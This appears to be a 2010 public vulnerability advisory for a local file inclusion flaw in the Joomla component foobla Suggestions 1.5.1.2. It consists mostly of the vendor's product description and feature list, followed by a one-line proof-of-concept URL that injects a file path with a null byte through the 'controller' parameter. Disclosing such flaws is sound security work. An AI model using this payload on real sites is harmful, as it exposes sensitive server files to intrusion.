Joomla Foobla Suggestions Local File Inclusion

`-----------------------------------------------------------------------------------------  
Joomla Component Foobla Suggestions Local File Inclusion  
-----------------------------------------------------------------------------------------  
  
Author : Chip D3 Bi0s  
Email : chipdebios[alt+64]gmail.com  
Date : April 08, 2010  
Critical Lvl : Moderate  
Impact : Exposure of sensitive information  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : foobla Suggestions  
version : 1.5.1.2  
Developer : foobla  
License : GPL type : Commercial  
Date Added : Dec 21, 2009  
Demo : http://demo.foobla.com/foobla-suggestions-joomla   
Download : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html  
  
Description :  
  
Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee?  
  
The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. For more information check out the features list, screenshots, and demo.  
  
FEATURES  
  
* GNU/GPL license. Purchase, install in unlimited domains and get professional support.  
* AJAX base for frontend.  
* Allow to import ideas from Uservoice account.  
* Bad words filter.  
* Export database to XML format.  
* Import to database from XML backup file.  
* Flexible user permissioning.  
* Easy to implement, ONE-CLICK Installation package: 01 component (backend & frontend) + 02 plugin + 01 module.  
* Express Install Tools in backend.  
* One-Click upgrade to newer version.  
* Translation Manager built-in.  
---------------------------------------------------------------------------  
  
Poc/Exploit:  
~~~~~~~~~  
  
http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=[LFI]%00  
  
  
  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
`